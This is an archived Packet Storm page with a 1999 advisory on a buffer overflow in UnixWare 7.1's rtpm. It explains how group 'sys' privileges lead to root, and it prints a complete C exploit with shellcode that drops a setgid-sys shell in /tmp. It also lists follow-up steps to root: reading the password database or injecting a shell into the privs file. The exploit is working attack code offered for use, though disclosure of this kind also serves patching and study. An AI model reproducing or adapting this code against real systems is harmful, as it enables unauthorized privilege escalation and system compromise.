what you don't know can hurt you
Home Files News &[SERVICES_TAB]About Contact Add New

unixware.rtpm.txt

unixware.rtpm.txt
Posted Dec 30, 1999

Unixware 7 Vulnerability - Any local users can exploit a bug in rtpm to gain "sys" privileges.

tags | exploit, local
systems | unixware
SHA-256 | 67a0fa19005aafa9242d3fbfa9e854feb7e4cfe89d0badb133bbc369c9e2471e

unixware.rtpm.txt

Change Mirror Download
Greetings,

OVERVIEW
Any local users can exploit a bug in rtpm to gain "sys" privileges.
A root compromise is then trivial.

BACKGROUND
As usual, I've only tested UnixWare 7.1, all others should be
assumed vulnerable.

UnixWare has a slightly different system of managing the password
database than Linux/BSD/Solaris and the like. In addition to the
conventional /etc/passwd and /etc/shadow, UnixWare keeps a copy of
these files (including encrypted passwords) in
/etc/security/ia/master and /etc/security/ia/omaster. These are
binary files containing the same information as /etc/passwd and
/etc/shadow in a different format. Various UW C functions can be
used to access this information. Some programs use this file for

authentication purposes, instead of /etc/shadow, such as the
i2odialog daemon.

The only major security problem I've found with this is that group
"sys" is able to read from this database. If there were no programs
setgid sys, this would not be a problem, however UnixWare's
owner/group scheme relies very heavily on this group. /dev/*mem* is

readable by sys (instead of having a seperate kmem group) and many
key directories, such as /sbin, and critical binaries are writable
by this group. The /etc/security/tcb/privs database (which controls
which non-suid/sgid programs gain additional privileges) is also

writable by sys. As a consequence, many programs which need to
access /dev/kmem and various other config files are sgid sys instead
of sgid/suid to a more specialized group. Once we have exploited one
of these programs to gain the gid of sys, we have nearly full control

over the system.

I suppose that the argument can be made that the gain of any extra
privileges will allow someone to gain root, given enough time, but UW
seems to have given privileges so close to root that they might as
well BE root. The encrypted passwords for the system should NEVER be
readable by anyone other than root (and *maybe* the "shadow" group,
whose sole purpose is authentication).

All this makes me think more about the slightly skewed but good
intentioned UnixWare scheme of privileges. I think it's a great idea
to have a program like ping only gain "driver" privileges (where it
can only access devices with elevated privileges). Although there

were/are some growing pains migrating to this system, it will probably
end up replacing 75% of the s-bits on a UnixWare system. Naturally
some programs will need full root privileges to operate correctly,
but for those specialized programs that only really need to accomplish

one task, it's perfect.

All that being said, I wonder if any of the open source OS's like
linux and bsd are considering migrating to this type of system, or
at least making it an option or patch.

DETAILS
A simple buffer overflow in /usr/sbin/rtpm will allow us to gain
sys privileges. From there, you can strings(1) the
/etc/security/ia/master file for the encrypted root password or
inject a shell into the /etc/security/tcb/privs file. Either of
these will lead to a fairly quick root compromise.

EXPLOIT
A small warning about this exploit. rtpm is one of those ascii gui
programs that messes with your term. If it doesn't exit normally,
it will leave you with a mostly unusable session. For this reason,
this exploit will drop /tmp/ksh as sgid-sys and exit. After you

run the exploit, you'll probably need to forcefully logout (exit
might not work) then log back in to get your privs. The default
offset should work, but if it doesn't you should write a script to
change it rather than deal with logging out/in every time you want
to change your offset.

/**
** uwrtpm.c - UnixWare 7.1 rtpm exploit
**
**
** Drops a setgid sys shell in /tmp/ksh. We can't exec a shell because
** rtpm screws up our terminal when it exits abnormally. After running
** this exploit, you must forcefully exit your shell and re-login to exec
** your sys shell.
**
** cc -o uwrtpm uwrtpm.c; ./rtpm <offset>
** use offsets of +-100
**
** Brock Tellier btellier@usa.net
**
**/


#include <stdlib.h>
#include <stdio.h>

char scoshell[]=
"\xeb\x1b\x5e\x31\xdb\x89\x5e\x07\x89\x5e\x0c\x88\x5e\x11\x31\xc0"
"\xb0\x3b\x8d\x7e\x07\x89\xf9\x53\x51\x56\x56\xeb\x10\xe8\xe0\xff"
"\xff\xff/tmp/rt\xaa\xaa\xaa\xaa\x9a\xaa\xaa\xaa\xaa\x07\xaa";

#define ALIGN 3
#define LEN 1100
#define NOP 0x90
#define SYSSHELL "void main() {setregid(3,3);system(\"cp /bin/ksh \
/tmp/ksh; chgrp sys /tmp/ksh; chmod 2555 /tmp/ksh\"); } "

void buildrt() {
FILE *fp;
char cc[100];
fp = fopen("/tmp/rt.c", "w");

fprintf(fp, SYSSHELL);

fclose(fp);
snprintf(cc, sizeof(cc), "cc -o /tmp/rt /tmp/rt.c");
system(cc);

}


int main(int argc, char *argv[]) {

long int offset=0;

int i;
int buflen = LEN;
long int addr;
char buf[LEN];

if(argc > 3) {
fprintf(stderr, "Error: Usage: %s offset buffer\n", argv[0]);
exit(0);
}
else if (argc == 2){
offset=atoi(argv[1]);

}
else if (argc == 3) {
offset=atoi(argv[1]);
buflen=atoi(argv[2]);

}
else {
offset=0;
buflen=1100;

}

buildrt();
addr=0x8046a01 + offset;

fprintf(stderr, "\nUnixWare 7.1 rtpm exploit drops a setgid sys shell ");
fprintf(stderr, "in /tmp/ksh\n");
fprintf(stderr, "Brock Tellier btellier@usa.net\n\n");
fprintf(stderr, "Using addr: 0x%x\n", addr+offset);

memset(buf,NOP,buflen);
memcpy(buf+(buflen/2),scoshell,strlen(scoshell));
for(i=((buflen/2) + strlen(scoshell))+ALIGN;i<buflen-4;i+=4)
*(int *)&buf[i]=addr;

memcpy(buf, "HOME=", 5);
buf[buflen - 1] = 0;
putenv(buf);
execl("/usr/sbin/rtpm", "rtpm", NULL);

exit(0);
}

Brock Tellier
UNIX Systems Administrator
Chicago, IL, USA
btellier@usa.net

____________________________________________________________________
Get free email and a permanent address at http://www.netaddress.com/?N=1


Login or Register to add favorites

File Archive:

April 2024

  • Su
  • Mo
  • Tu
  • We
  • Th
  • Fr
  • Sa
  • 1
    Apr 1st
    10 Files
  • 2
    Apr 2nd
    26 Files
  • 3
    Apr 3rd
    40 Files
  • 4
    Apr 4th
    6 Files
  • 5
    Apr 5th
    26 Files
  • 6
    Apr 6th
    0 Files
  • 7
    Apr 7th
    0 Files
  • 8
    Apr 8th
    22 Files
  • 9
    Apr 9th
    14 Files
  • 10
    Apr 10th
    10 Files
  • 11
    Apr 11th
    13 Files
  • 12
    Apr 12th
    14 Files
  • 13
    Apr 13th
    0 Files
  • 14
    Apr 14th
    0 Files
  • 15
    Apr 15th
    30 Files
  • 16
    Apr 16th
    10 Files
  • 17
    Apr 17th
    22 Files
  • 18
    Apr 18th
    45 Files
  • 19
    Apr 19th
    0 Files
  • 20
    Apr 20th
    0 Files
  • 21
    Apr 21st
    0 Files
  • 22
    Apr 22nd
    0 Files
  • 23
    Apr 23rd
    0 Files
  • 24
    Apr 24th
    0 Files
  • 25
    Apr 25th
    0 Files
  • 26
    Apr 26th
    0 Files
  • 27
    Apr 27th
    0 Files
  • 28
    Apr 28th
    0 Files
  • 29
    Apr 29th
    0 Files
  • 30
    Apr 30th
    0 Files

Top Authors In Last 30 Days

File Tags

Systems

packet storm

© 2022 Packet Storm. All rights reserved.

Services
Security Services
Hosting By
Rokasec
close